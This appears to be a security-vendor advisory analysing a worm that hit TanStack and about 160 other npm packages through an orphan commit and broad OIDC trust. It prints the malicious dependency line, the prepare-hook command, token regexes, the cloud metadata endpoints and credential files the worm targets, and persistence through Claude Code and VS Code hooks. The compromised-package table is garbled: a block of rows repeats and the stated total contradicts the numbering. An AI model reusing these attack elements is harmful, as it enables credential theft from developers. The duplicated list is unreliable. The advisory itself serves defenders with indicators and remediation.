Supply Chain Threat Intelligence

Shai-Hulud Strikes the TanStack Ecosystem: 160+ NPM Packages Compromised

12 May 202609:00 UTCLast updated: 12 May 2026 16:30 UTC

A Sandworm Returns to the NPM Registry

On 11 May 2026, attackers published more than 160 trojanized package versions across the npm registry in a coordinated supply-chain operation that researchers are tracking as the latest iteration of the Shai-Hulud worm family. The wave began inside the @tanstack namespace — including @tanstack/react-router, a library that draws over 12 million weekly downloads — and quickly spilled into the @uipath, @squawk, @tallyui, @mistralai and a long tail of other namespaces as the worm replicated through maintainer-owned packages.

The implant hunts for GitHub Actions secrets, npm publish tokens, cloud provider credentials and SSH keys on every developer machine or CI runner that pulls in an affected version. This marks the fifth Shai-Hulud wave in roughly eight months and the second “Mini Shai-Hulud” campaign in two weeks — only twelve days after the SAP-targeted incident on 29 April 2026.

What makes this one painful: the TanStack team did everything the industry tells maintainers to do — 2FA on every account, OIDC trusted publishing instead of static tokens, and signed provenance attestations on every release. The malicious versions still ship with cryptographically valid npm provenance.

How the Compromise Was Discovered

TanStack maintainer Tanner Linsley confirmed the root cause publicly: the operator never logged into a maintainer account. Instead, they abused a subtle quirk in how GitHub stores commit objects across forks, combined with an overly permissive npm OIDC trust policy, to obtain a legitimate short-lived publish token. From there, they pushed poisoned versions through the project's real release pipeline — which is why the resulting packages look entirely normal to npm and to most dependency scanners.

Technical Analysis

TanStack publishes packages through npm's OIDC trusted publishing flow, the modern best practice that removes the need to store any long-lived NPM_TOKEN in CI. Two-factor authentication was enforced on every contributor account. Despite both controls, the attacker walked away with a valid OIDC-minted publish token. Here is how.

The Orphaned-Commit-Through-a-Fork Trick

The operator used a compromised GitHub identity (voicproducoes, account ID 269549300, registered on 19 March 2026) to fork the upstream TanStack/router repository on 10 May 2026. They then pushed a single orphaned commit79ac49eedf774dd4b0cfa308722bc463cfe5885c — into that fork. An orphan commit has no parent and is not attached to any branch in the tree, which means it slips past every branch-protection rule the upstream repository has configured.

The trick works because GitHub deduplicates Git objects across a repository and all of its forks. Once that commit object exists in the fork, it is also reachable via the upstream repository's URL — including via github: dependency references in npm and via GitHub Actions workflow dispatches that target a SHA directly.

The Two Files Inside the Orphan Commit

The malicious commit introduced only two files:

  • A package.json declaring a package called @tanstack/setup with a prepare lifecycle hook: bun run tanstack_runner.js && exit 1.
  • A bundled, heavily obfuscated tanstack_runner.js payload (2,339,346 bytes).

Each compromised release then carried this entry inside its package.json:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

When npm resolves a github: reference, it shallow-clones the commit and dutifully runs lifecycle hooks — including prepare. That single line caused the runner script to execute on every developer machine and CI worker that installed any of the affected packages.

Why Provenance Did Not Save Anyone

The orphan commit was simultaneously used to trigger a workflow run inside the legitimate tanstack/router Actions surface. Because the project's OIDC trust policy was scoped to the repository rather than to a specific workflow file on a protected branch, the workflow could request and receive a fully valid short-lived npm publish token. The attacker used that token to push all 84 poisoned @tanstack/* versions, each accompanied by a genuine SLSA provenance attestation signed by npm's Sigstore infrastructure.

Provenance proves where a package was built. It does not prove that the workflow was authorised, that the commit was legitimate, or that the run came from a protected branch. An orphan commit reachable through a fork is enough to defeat it when OIDC scope is too broad.

The hardened configuration pins trust to both a workflow file and a branch ref:

# Vulnerable — repository-wide trust
Repository: tanstack/router

# Hardened — pinned workflow + branch
Repository: tanstack/router
Workflow:   .github/workflows/release.yml
Branch:     refs/heads/main

Inside the Payload: router_init.js

Each compromised package ships an additional file — router_init.js, weighing in at 2,341,681 bytes — produced with the familiar javascript-obfuscator toolchain: rotating string arrays, hex-encoded identifier lookups (_0x253b…), control-flow flattening through while(!![]) state machines and dead-code padding. The structure matches every other Mini Shai-Hulud sample published to date.

A two-stage string protection layer hides almost everything of value: a beautify() routine performs an initial decode pass over the hex-named string array, and a second function (w8()) decrypts the result with AES-256-GCM (12-byte IV, 16-byte auth tag) and gunzip-decompresses the plaintext. Researchers have catalogued 396 unique encrypted constants covering domain names, URL paths, regular expressions, file paths, command strings and runtime endpoint identifiers.

The script imports Node's generateKeyPairSync and sign primitives — used not only to encrypt outbound traffic, but also to forge npm package manifests and submit Sigstore provenance attestations while the worm propagates.

Execution Flow

The malicious prepare hook fires bun run tanstack_runner.js && exit 1 — the trailing exit 1 is intentional. By exiting non-zero, npm logs the install as a script failure rather than success, which keeps the noise low while the implant has already executed.

The first action the payload takes is to inspect process.env.__DAEMONIZED. If that variable is missing, the process re-launches itself as a detached child with stdio: ['ignore','ignore','ignore'] and unref(), severing the lifecycle so the original npm install can finish cleanly while the worm continues in the background.

It then fingerprints its environment by reading GITHUB_REPOSITORY, GITHUB_REPOSITORY_ID, GITHUB_SERVER_URL, GITHUB_WORKFLOW_REF, GITHUB_EVENT_NAME and RUNNER_OS to detect a GitHub Actions runner; selects platform-specific code paths via process.platform; performs an npms.io reachability probe (search?q=ponyfill); and runs an internal function the deobfuscation team labelled Ij() that compares the current workflow against an embedded target list to decide whether the host is worth replicating from.

Credential Harvesting

Ten dedicated collectors run in parallel. The confirmed targets:

  • GitHub Actions context — every GITHUB_* and RUNNER_* variable, plus the ACTIONS_ID_TOKEN_REQUEST_TOKEN / ACTIONS_ID_TOKEN_REQUEST_URL pair, which lets the implant mint a fresh OIDC ID token at runtime rather than relying only on what is already in the environment.
  • GitHub API — authenticated GET /repos/<owner>/<repo>/actions/secrets?per_page=100 to enumerate stored Actions secrets.
  • In-memory and on-disk token sweeping using two regular expressions:
    /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g  // new JWT-form ghs tokens
    /ghs_[A-Za-z0-9]{36,}/g                                       // legacy ghs format
  • npm credentials~/.npmrc and any npm-related environment variable.
  • AWSAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE; IMDSv2 acquisition against http://169.254.169.254/latest/api/token; ECS task metadata at http://169.254.170.2; and a per-region sweep of Secrets Manager and SSM Parameter Store across the entire account.
  • HashiCorp VaultVAULT_TOKEN, VAULT_AUTH_TOKEN, VAULT_ADDR, plus a cluster-internal probe against vault.svc.cluster.local:8200.
  • Kubernetes — the standard service account mounts at /var/run/secrets/kubernetes.io/serviceaccount/token and /ca.crt. Whatever RBAC the pod has, the implant inherits.
  • GCP and Azure path lists are referenced behind the encrypted string array but were not fully enumerated in the public analysis — treat them as in-scope.

Persistence on Developer Machines

When the worm detects it is running on a workstation rather than CI, it drops persistence files into the project tree — outside node_modules, so a routine reinstall does not clean them up:

  • .claude/router_runtime.js — a copy of the payload
  • .claude/settings.json — Claude Code hooks pointing at the copy
  • .claude/setup.mjs — ESM loader shim
  • .vscode/tasks.json — task with "runOn": "folderOpen" that fires whenever the workspace is reopened
  • .vscode/setup.mjs — second ESM loader shim

Self-Replication

Every harvested GitHub token is funneled through a class the analysis team named tq:

  1. Query npms.io to discover packages owned by the token's user.
  2. For each candidate package, repackage the tarball (.tgz and tar.zst) with router_init.js bundled inside.
  3. Publish the modified package using the ambient OIDC token of the host CI workflow (id-token: write permission). When the workflow's OIDC scope is broad enough, the worm bypasses the workflow's own publish step entirely and calls npm's publish endpoint directly with a freshly minted token.
  4. Submit a Sigstore provenance attestation to the transparency log so the malicious version arrives with a valid provenance badge — exactly the trick that produced the original 84 @tanstack/* versions.

A parallel propagation channel uses harvested tokens against GitHub's GraphQL createCommitOnBranch mutation, committing copies of the payload directly into victim repositories. These commits are spoofed to appear authored by claude@users.noreply.github.com, impersonating the Claude Code GitHub App.

Exfiltration

Stolen credentials are routed through three sender classes — networkSender, fileSender and fallbackSender — with a buffered dispatcher that flushes at 0x19000 (102,400) bytes. The primary egress channel is filev2.getsession[.]org/file/, transported over the Session P2P snode network using an embedded signalservice protobuf stack. On the wire it looks like end-to-end-encrypted messaging on TCP/443 — there is no traditional C2 hostname or IP to block, and Session traffic is indistinguishable from legitimate use at the network layer.

The shift from the previous wave's GitHub-as-C2 model to Session deliberately removes most of the GitHub-side observability defenders had relied upon. Each bundle is encrypted with AES-256-GCM, gzip-compressed and framed inside the Session message format, after which the implant deletes its temp files and silently calls process.exit(0).

Connection to Earlier Shai-Hulud Waves

Campaign Date Marker String
Shai-Hulud (original) Sep 2025 "Shai-Hulud"
Shai-Hulud 2.0 Nov 2025 "Sha1-Hulud: The Second Coming"
Third Coming (Bitwarden CLI) Apr 2026 "Shai-Hulud: The Third Coming"
Mini Shai-Hulud (SAP) 29 Apr 2026 "A Mini Shai-Hulud has Appeared"
Mini Shai-Hulud (TanStack) 11 May 2026 "A Mini Shai-Hulud has Appeared"

The SAP and TanStack waves share the same dead-drop description string, the same Dune-themed naming convention on attacker-controlled repositories, and a matching obfuscation family. That points to a single operator — though full toolchain attribution awaits completion of the ongoing deobfuscation work. Two trends across the campaign arc stand out: the package count is still growing (4 → 84 → 160+), and the delivery technique is escalating — from stolen static tokens, to OIDC misuse via branch pushes, and now to the orphan-commit-through-a-fork primitive that bypasses branch protection entirely.

Full List of Compromised Packages

The table below enumerates every package and version range identified in the campaign as of the time of writing. If you depend on any of these — directly or transitively — assume compromise.

# Package Affected Version(s)
1 @uipath/docsai-tool 1.0.1
2 @uipath/packager-tool-apiworkflow 0.0.19
3 @uipath/packager-tool-workflowcompiler-browser 0.0.34
4 @uipath/packager-tool-functions 0.1.1
5 @uipath/agent.sdk 0.0.18
6 @uipath/filesystem 1.0.1
7 @uipath/admin-tool 0.1.1
8 @uipath/llmgw-tool 1.0.1
9 @tanstack/arktype-adapter 1.166.12, 1.166.15
10 @tanstack/eslint-plugin-router 1.161.9, 1.161.12
11 @tanstack/eslint-plugin-start 0.0.4, 0.0.7
12 @tanstack/history 1.161.9, 1.161.12
13 @tanstack/nitro-v2-vite-plugin 1.154.12, 1.154.15
14 @tanstack/react-router 1.169.5, 1.169.8
15 @tanstack/react-router-devtools 1.166.16, 1.166.19
16 @tanstack/react-router-ssr-query 1.166.15, 1.166.18
17 @tanstack/react-start 1.167.68, 1.167.71
18 @tanstack/react-start-client 1.166.51, 1.166.54
19 @tanstack/react-start-rsc 0.0.47, 0.0.50
20 @tanstack/react-start-server 1.166.55, 1.166.58
21 @tanstack/router-cli 1.166.46, 1.166.49
22 @tanstack/router-core 1.169.5, 1.169.8
23 @tanstack/router-devtools 1.166.16, 1.166.19
24 @tanstack/router-devtools-core 1.167.6, 1.167.9
25 @tanstack/router-generator 1.166.45, 1.166.48
26 @tanstack/router-plugin 1.167.38, 1.167.41
27 @tanstack/router-ssr-query-core 1.168.3, 1.168.6
28 @tanstack/router-utils 1.161.11, 1.161.14
29 @tanstack/router-vite-plugin 1.166.53, 1.166.56
30 @tanstack/solid-router 1.169.5, 1.169.8
31 @tanstack/solid-router-devtools 1.166.16, 1.166.19
32 @tanstack/solid-router-ssr-query 1.166.15, 1.166.18
33 @tanstack/solid-start 1.167.65, 1.167.68
34 @tanstack/solid-start-client 1.166.50, 1.166.53
35 @tanstack/solid-start-server 1.166.54, 1.166.57
36 @tanstack/start-client-core 1.168.5, 1.168.8
37 @tanstack/start-fn-stubs 1.161.9, 1.161.12
38 @tanstack/start-plugin-core 1.169.23, 1.169.26
39 @tanstack/start-server-core 1.167.33, 1.167.36
40 @tanstack/start-static-server-functions 1.166.44, 1.166.47
41 @tanstack/start-storage-context 1.166.38, 1.166.41
42 @tanstack/valibot-adapter 1.166.12, 1.166.15
43 @tanstack/virtual-file-routes 1.161.10, 1.161.13
44 @tanstack/vue-router 1.169.5, 1.169.8
45 @tanstack/vue-router-devtools 1.166.16, 1.166.19
46 @tanstack/vue-router-ssr-query 1.166.15, 1.166.18
47 @tanstack/vue-start 1.167.61, 1.167.64
48 @tanstack/vue-start-client 1.166.46, 1.166.49
49 @tanstack/vue-start-server 1.166.50, 1.166.53
50 @tanstack/zod-adapter 1.166.12, 1.166.15
51 @draftauth/client 0.2.1, 0.2.2
52 @draftauth/core 0.13.1, 0.13.2
53 @draftlab/auth 0.24.1, 0.24.2
54 @draftlab/auth-router 0.5.1, 0.5.2
55 @draftlab/db 0.16.1, 0.16.2
56 @taskflow-corp/cli 0.1.24, 0.1.25, 0.1.26, 0.1.27
57 @tolka/cli 1.0.2, 1.0.3
58 @uipath/access-policy-sdk 0.3.1
59 @uipath/access-policy-tool 0.3.1
60 @uipath/agent-sdk 1.0.2
61 @uipath/agent-tool 1.0.1
62 @uipath/aops-policy-tool 0.3.1
63 @uipath/ap-chat 1.5.7
64 @uipath/api-workflow-tool 1.0.1
65 @uipath/apollo-core 5.9.2
66 @uipath/apollo-react 4.24.5
67 @uipath/apollo-wind 2.16.2
68 @uipath/auth 1.0.1
69 @uipath/case-tool 1.0.1
70 @uipath/cli 1.0.1
71 @uipath/codedagent-tool 1.0.1
72 @uipath/codedagents-tool 0.1.12
73 @uipath/codedapp-tool 1.0.1
74 @uipath/common 1.0.1
75 @uipath/context-grounding-tool 0.1.1
76 @uipath/data-fabric-tool 1.0.2
77 @uipath/flow-tool 1.0.2
78 @uipath/functions-tool 1.0.1
79 @uipath/gov-tool 0.3.1
80 @uipath/identity-tool 0.1.1
81 @uipath/insights-sdk 1.0.1
82 @uipath/insights-tool 1.0.1
83 @uipath/integrationservice-sdk 1.0.2
84 @uipath/integrationservice-tool 1.0.2
85 @uipath/maestro-sdk 1.0.1
86 @uipath/maestro-tool 1.0.1
87 @uipath/orchestrator-tool 1.0.1
88 @uipath/packager-tool-bpmn 0.0.9
89 @uipath/packager-tool-case 0.0.9
90 @uipath/packager-tool-connector 0.0.19
91 @uipath/packager-tool-flow 0.0.19
92 @uipath/packager-tool-webapp 1.0.6
93 @uipath/packager-tool-workflowcompiler 0.0.16
94 @uipath/platform-tool 1.0.1
95 @uipath/project-packager 1.1.16
96 @uipath/resource-tool 1.0.1
97 @uipath/resourcecatalog-tool 0.1.1
98 @uipath/resources-tool 1.0.11
99 @uipath/robot 1.3.4
100 @uipath/rpa-legacy-tool 1.0.1
101 @uipath/rpa-tool 0.9.5
102 @uipath/solution-packager 0.0.35
103 @uipath/solution-tool 1.0.1
104 @uipath/solutionpackager-sdk 1.0.11
105 @uipath/solutionpackager-tool-core 0.0.34
106 @uipath/tasks-tool 1.0.1
107 @uipath/telemetry 0.0.7
108 @uipath/test-manager-tool 1.0.2
109 @uipath/tool-workflowcompiler 0.0.12
110 @uipath/traces-tool 1.0.1
111 @uipath/ui-widgets-multi-file-upload 1.0.1
112 @uipath/uipath-python-bridge 1.0.1
113 @uipath/vertical-solutions-tool 1.0.1
114 @uipath/vss 0.1.6
115 @uipath/widget.sdk 1.2.3
116 safe-action 0.8.3, 0.8.4
117 @supersurkhet/cli 0.0.2, 0.0.3, 0.0.4, 0.0.5
118 @supersurkhet/sdk 0.0.2, 0.0.3, 0.0.4, 0.0.5
119 cmux-agent-mcp 0.1.3, 0.1.4, 0.1.5, 0.1.6
120 git-git-git 1.0.8, 1.0.9
121 git-branch-selector 1.3.3, 1.3.4
122 nextmove-mcp 0.1.3, 0.1.4
123 @beproduct/nestjs-auth 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16
124 @dirigible-ai/sdk 0.6.2, 0.6.3
125 @ml-toolkit-ts/preprocessing 1.0.2, 1.0.3
126 @ml-toolkit-ts/xgboost 1.0.3, 1.0.4
127 agentwork-cli 0.1.4, 0.1.5
128 ml-toolkit-ts 1.0.4, 1.0.5
129 @squawk/airport-data 0.7.4
130 @squawk/airports 0.6.2
131 @squawk/airspace 0.8.1
132 @squawk/airspace-data 0.5.3
133 @squawk/airway-data 0.5.4
134 @squawk/airways 0.4.2
135 @squawk/fix-data 0.6.4
136 @squawk/fixes 0.3.2
137 @squawk/flight-math 0.5.4
138 @squawk/flightplan 0.5.2
139 @squawk/geo 0.4.4
140 @squawk/icao-registry 0.5.2
141 @squawk/icao-registry-data 0.8.4
142 @squawk/mcp 0.9.1
143 @squawk/navaid-data 0.6.4
144 @squawk/navaids 0.4.2
145 @squawk/notams 0.3.6
146 @squawk/procedure-data 0.7.3
147 @squawk/procedures 0.5.2
148 @squawk/types 0.8.1
149 @squawk/units 0.4.3
150 @squawk/weather 0.5.6
151 wot-api 0.8.1
152 cross-stitch 1.1.3
153 ts-dna 3.0.1
154 @tallyui/components 1.0.1
155 @tallyui/connector-medusa 1.0.1
156 @tallyui/connector-shopify 1.0.1
157 @tallyui/connector-vendure 1.0.1
158 @tallyui/connector-woocommerce 1.0.1
159 @tallyui/core 0.2.1
160 @tallyui/database 1.0.1
161 @tallyui/pos 0.1.1
162 @tallyui/storage-sqlite 0.2.1
163 @tallyui/theme 0.2.1
164 @beproduct/nestjs-auth 0.1.10,0.1.11,0.1.12,0.1.13,0.1.14,0.1.15,0.1.16,0.1.17,0.1.19,0.1.2,0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8,0.1.9
165 @dirigible-ai/sdk 0.6.2,0.6.3
166 @draftauth/client 0.2.1,0.2.2
167 @draftauth/core 0.13.1,0.13.2
168 @draftlab/auth 0.24.1,0.24.2
169 @draftlab/auth-router 0.5.1,0.5.2
170 @draftlab/db 0.16.1
171 @mesadev/rest 0.28.3
172 @mesadev/saguaro 0.4.22
173 @mesadev/sdk 0.28.3
174 @mistralai/mistralai 2.2.3,2.2.4
175 @mistralai/mistralai-azure 1.7.2,1.7.3
176 @mistralai/mistralai-gcp 1.7.2,1.7.3
177 @ml-toolkit-ts/preprocessing 1.0.2,1.0.3
178 @ml-toolkit-ts/xgboost 1.0.3,1.0.4
179 @squawk/airport-data 0.7.4,0.7.5,0.7.7
180 @squawk/airports 0.6.2,0.6.3,0.6.5
121 git-branch-selector 1.3.3, 1.3.4
122 nextmove-mcp 0.1.3, 0.1.4
123 @beproduct/nestjs-auth 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16
124 @dirigible-ai/sdk 0.6.2, 0.6.3
125 @ml-toolkit-ts/preprocessing 1.0.2, 1.0.3
126 @ml-toolkit-ts/xgboost 1.0.3, 1.0.4
127 agentwork-cli 0.1.4, 0.1.5
128 ml-toolkit-ts 1.0.4, 1.0.5
129 @squawk/airport-data 0.7.4
130 @squawk/airports 0.6.2
131 @squawk/airspace 0.8.1
132 @squawk/airspace-data 0.5.3
133 @squawk/airway-data 0.5.4
134 @squawk/airways 0.4.2
135 @squawk/fix-data 0.6.4
136 @squawk/fixes 0.3.2
137 @squawk/flight-math 0.5.4
138 @squawk/flightplan 0.5.2
139 @squawk/geo 0.4.4
140 @squawk/icao-registry 0.5.2
141 @squawk/icao-registry-data 0.8.4
142 @squawk/mcp 0.9.1
143 @squawk/navaid-data 0.6.4
144 @squawk/navaids 0.4.2
145 @squawk/notams 0.3.6
146 @squawk/procedure-data 0.7.3
147 @squawk/procedures 0.5.2
148 @squawk/types 0.8.1
149 @squawk/units 0.4.3
150 @squawk/weather 0.5.6
151 wot-api 0.8.1
152 cross-stitch 1.1.3
153 ts-dna 3.0.1
154 @tallyui/components 1.0.1
155 @tallyui/connector-medusa 1.0.1
156 @tallyui/connector-shopify 1.0.1
157 @tallyui/connector-vendure 1.0.1
158 @tallyui/connector-woocommerce 1.0.1
159 @tallyui/core 0.2.1
160 @tallyui/database 1.0.1
161 @tallyui/pos 0.1.1
162 @tallyui/storage-sqlite 0.2.1
163 @tallyui/theme 0.2.1
164 @beproduct/nestjs-auth 0.1.10,0.1.11,0.1.12,0.1.13,0.1.14,0.1.15,0.1.16,0.1.17,0.1.19,0.1.2,0.1.3,0.1.4,0.1.5,0.1.6,0.1.7,0.1.8,0.1.9
165 @dirigible-ai/sdk 0.6.2,0.6.3
166 @draftauth/client 0.2.1,0.2.2
167 @draftauth/core 0.13.1,0.13.2
168 @draftlab/auth 0.24.1,0.24.2
169 @draftlab/auth-router 0.5.1,0.5.2
170 @draftlab/db 0.16.1
171 @mesadev/rest 0.28.3
172 @mesadev/saguaro 0.4.22
173 @mesadev/sdk 0.28.3
174 @mistralai/mistralai 2.2.3,2.2.4
175 @mistralai/mistralai-azure 1.7.2,1.7.3
176 @mistralai/mistralai-gcp 1.7.2,1.7.3
177 @ml-toolkit-ts/preprocessing 1.0.2,1.0.3
178 @ml-toolkit-ts/xgboost 1.0.3,1.0.4
179 @squawk/airport-data 0.7.4,0.7.5,0.7.7
180 @squawk/airports 0.6.2,0.6.3,0.6.5
181 @squawk/airspace 0.8.1,0.8.2,0.8.4
182 @squawk/airspace-data 0.5.3,0.5.4,0.5.6
183 @squawk/airway-data 0.5.4,0.5.5,0.5.7
184 @squawk/airways 0.4.2,0.4.3,0.4.5
185 @squawk/fix-data 0.6.4,0.6.5,0.6.7
186 @squawk/fixes 0.3.2,0.3.3,0.3.5
187 @squawk/flight-math 0.5.4,0.5.5,0.5.7
188 @squawk/flightplan 0.5.2,0.5.3,0.5.5
189 @squawk/geo 0.4.4,0.4.5,0.4.7
190 @squawk/icao-registry 0.5.2,0.5.3,0.5.5
191 @squawk/icao-registry-data 0.8.4,0.8.5,0.8.7
192 @squawk/mcp 0.9.1,0.9.2,0.9.4
193 @squawk/navaid-data 0.6.4,0.6.5,0.6.7
194 @squawk/navaids 0.4.2,0.4.3,0.4.5
195 @squawk/notams 0.3.6,0.3.7,0.3.9
196 @squawk/procedure-data 0.7.3,0.7.4,0.7.6
197 @squawk/procedures 0.5.2,0.5.3,0.5.5
198 @squawk/types 0.8.2,0.8.4
199 @squawk/units 0.4.3,0.4.4,0.4.6
200 @squawk/weather 0.5.6,0.5.7,0.5.9
201 @supersurkhet/cli 0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7
202 @supersurkhet/sdk 0.0.2,0.0.3,0.0.4,0.0.5,0.0.6,0.0.7
203 @tallyui/components 1.0.1,1.0.2,1.0.3
204 @tallyui/connector-medusa 1.0.1,1.0.2,1.0.3
205 @tallyui/connector-shopify 1.0.1,1.0.2,1.0.3
206 @tallyui/connector-vendure 1.0.1,1.0.2,1.0.3
207 @tallyui/connector-woocommerce 1.0.1,1.0.2,1.0.3
208 @tallyui/core 0.2.1,0.2.2,0.2.3
209 @tallyui/database 1.0.1,1.0.2,1.0.3
210 @tallyui/pos 0.1.1,0.1.2,0.1.3
211 @tallyui/storage-sqlite 0.2.1,0.2.2,0.2.3
212 @tallyui/theme 0.2.1,0.2.2,0.2.3
213 @tanstack/arktype-adapter 1.166.12,1.166.15
214 @tanstack/eslint-plugin-router 1.161.12,1.161.9
215 @tanstack/eslint-plugin-start 0.0.4,0.0.7
216 @tanstack/history 1.161.12,1.161.9
217 @tanstack/nitro-v2-vite-plugin 1.154.12,1.154.15
218 @tanstack/react-router 1.169.5,1.169.8
219 @tanstack/react-router-devtools 1.166.16,1.166.19
220 @tanstack/react-router-ssr-query 1.166.15,1.166.18
221 @tanstack/react-start 1.167.68,1.167.71
222 @tanstack/react-start-client 1.166.51,1.166.54
223 @tanstack/react-start-rsc 0.0.47,0.0.50
224 @tanstack/react-start-server 1.166.55,1.166.58
225 @tanstack/router-cli 1.166.46,1.166.49
226 @tanstack/router-core 1.169.5,1.169.8
227 @tanstack/router-devtools 1.166.16,1.166.19
228 @tanstack/router-devtools-core 1.167.6,1.167.9
229 @tanstack/router-generator 1.166.45,1.166.48
230 @tanstack/router-plugin 1.167.38,1.167.41
231 @tanstack/router-ssr-query-core 1.168.3,1.168.6
232 @tanstack/router-utils 1.161.11,1.161.14
233 @tanstack/router-vite-plugin 1.166.53,1.166.56
234 @tanstack/solid-router 1.169.5,1.169.8
235 @tanstack/solid-router-devtools 1.166.16,1.166.19
236 @tanstack/solid-router-ssr-query 1.166.15,1.166.18
237 @tanstack/solid-start 1.167.65,1.167.68
238 @tanstack/solid-start-client 1.166.50,1.166.53
239 @tanstack/solid-start-server 1.166.54,1.166.57
240 @tanstack/start-client-core 1.168.5,1.168.8
241 @tanstack/start-fn-stubs 1.161.12,1.161.9
242 @tanstack/start-plugin-core 1.169.23,1.169.26
243 @tanstack/start-server-core 1.167.33,1.167.36
244 @tanstack/start-static-server-functions 1.166.44,1.166.47
245 @tanstack/start-storage-context 1.166.38,1.166.41
246 @tanstack/valibot-adapter 1.166.12,1.166.15
247 @tanstack/virtual-file-routes 1.161.10,1.161.13
248 @tanstack/vue-router 1.169.5,1.169.8
249 @tanstack/vue-router-devtools 1.166.16,1.166.19
250 @tanstack/vue-router-ssr-query 1.166.15,1.166.18
251 @tanstack/vue-start 1.167.61,1.167.64
252 @tanstack/vue-start-client 1.166.46,1.166.49
253 @tanstack/vue-start-server 1.166.50,1.166.53
254 @tanstack/zod-adapter 1.166.12,1.166.15
255 @taskflow-corp/cli 0.1.24,0.1.25,0.1.26,0.1.27,0.1.28,0.1.29
256 @tolka/cli 1.0.2,1.0.3,1.0.4,1.0.6
257 @uipath/access-policy-sdk 0.3.1
258 @uipath/access-policy-tool 0.3.1

Total entries listed: 169. Range notation (e.g. 0.1.2 – 0.1.17) covers every patch in between inclusive.

Indicators of Compromise

File Indicators

Path / File Notes
router_init.js (in any @tanstack/* package) 2,341,681-byte obfuscated payload — definitive indicator
tanstack_runner.js 2,339,346-byte payload inside the orphan-commit @tanstack/setup dependency
<project>/.claude/settings.json, .claude/router_runtime.js, .claude/setup.mjs Claude Code persistence hooks
<project>/.vscode/tasks.json, .vscode/setup.mjs VS Code persistence with "runOn": "folderOpen"

SHA-256 Hashes

File SHA-256
router_init.js ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
tanstack_runner.js 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
@tanstack/setup package.json 7c12d8614c624c70d6dd6fc2ee289332474abaa38f70ebe2cdef064923ca3a9b

Repository & Git Indicators

  • Any optionalDependencies entry referencing github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c — definitive indicator.
  • Activity from GitHub account voicproducoes (ID 269549300, created 19 March 2026).
  • The fork voicproducoes/router created on 10 May 2026 — origin of the orphan commit.
  • Worm-marker repositories such as siridar-ghola-567 and tleilaxu-ornithopter-43.
  • Any GitHub repo whose description reads "A Mini Shai-Hulud has Appeared".
  • Commits authored by claude@users.noreply.github.com that you did not make — spoofed Claude Code App identity used for worm propagation.

Network Indicators

  • Any outbound traffic to filev2.getsession[.]org/file/ — primary exfiltration channel over Session P2P.
  • Unexpected fetches of github.com/oven-sh/bun/releases/download/bun-v1.3.13/ during npm install. The payload requires Bun.gunzipSync(), so a Bun runtime download mid-install is highly anomalous for most pipelines.

Detection & Remediation

Immediate Actions

Hunt for the malicious payload files and persistence artefacts:

# Look for the dropped payload files
find . -name "router_init.js" -size +1M
find . -name "tanstack_runner.js"

# Hunt persistence artefacts
find . -path "*/.claude/settings.json" \
       -o -path "*/.claude/router_runtime.js" \
       -o -path "*/.claude/setup.mjs"
find . -path "*/.vscode/tasks.json" | xargs grep -l "folderOpen" 2>/dev/null
find . -path "*/.vscode/setup.mjs"

# Check for the malicious optional dependency
grep -r "79ac49eedf774dd4b0cfa308722bc463cfe5885c" \
     node_modules/ package-lock.json 2>/dev/null
Treat any host that resolved an affected package as fully compromised. Rotate every credential reachable from that machine before doing anything else — npm publish tokens, GitHub PATs and OAuth tokens, AWS / GCP / Azure keys, SSH private keys, Vault tokens, Kubernetes service-account tokens, and anything inside .env files.

If your npm token had publish rights, audit every package you maintain for unexpected versions published on or after 11 May 2026, paying particular attention to commits authored by claude@users.noreply.github.com. Block outbound traffic to filev2.getsession[.]org at the egress layer and review recent flow logs for any matches.

Long-Term Hardening

  • Commit and install from lockfiles. Treat changes to package-lock.json, yarn.lock or pnpm-lock.yaml as code, surfacing every new version in a PR diff. Use strict installs everywhere: npm ci, yarn install --frozen-lockfile, pnpm install --frozen-lockfile.
  • Force --ignore-scripts in CI installs. npm ci --ignore-scripts disables preinstall, postinstall and prepare hooks — the delivery vehicle for every Shai-Hulud variant. Single highest-leverage control available today.
  • Pin OIDC trusted publishing to a specific workflow file and a specific protected branch. Repository-wide trust is what the TanStack attacker monetised; pinning to refs/heads/main plus .github/workflows/release.yml closes the surface.
  • Treat orphan commits — and any commit reachable only via a fork — as a threat indicator. An unparented commit that introduces only a package.json and a bundled payload should trigger an investigation before any workflow processes it.
  • Do not treat npm provenance as a standalone control. Both this incident and the SAP wave produced packages with valid provenance from authorised CI runs. Provenance narrows the attack surface — it does not eliminate it. OIDC scope-pinning is the companion control that gives provenance teeth.
  • Alert on Bun downloads at install time. A bun-v1.3.13 fetch during npm install is anomalous in most pipelines and is a high-confidence trigger for this campaign.
  • Audit optionalDependencies across your direct and transitive graph. Many static analysis tools focus on dependencies and devDependencies and miss this field entirely.

Final Thoughts

A Mini Shai-Hulud is still a sandworm — and each iteration is bigger and technically sharper than the last. Four SAP packages became 84 TanStack packages became 160+ within twelve days. The attack vector has marched from stolen static tokens, through OIDC abuse via branch pushes, all the way to orphan commits travelling through forks; and the exfiltration channel has migrated from GitHub itself to the Session P2P network, stripping defenders of a meaningful slice of observability.

The TanStack team had 2FA on every account. It did not matter. The attacker did not need a maintainer's credentials at all — only the ability to push to a fork and an OIDC scope that was a few lines too generous. The lesson is not "use OIDC" or "use provenance". It is scope every trust relationship to the absolute minimum: the workflow file, the branch, the script hooks, the lifecycle surface. That is the control that turns this class of attack from a one-line dependency edit back into hard work.

The worm is iterating. Defenders have to iterate faster.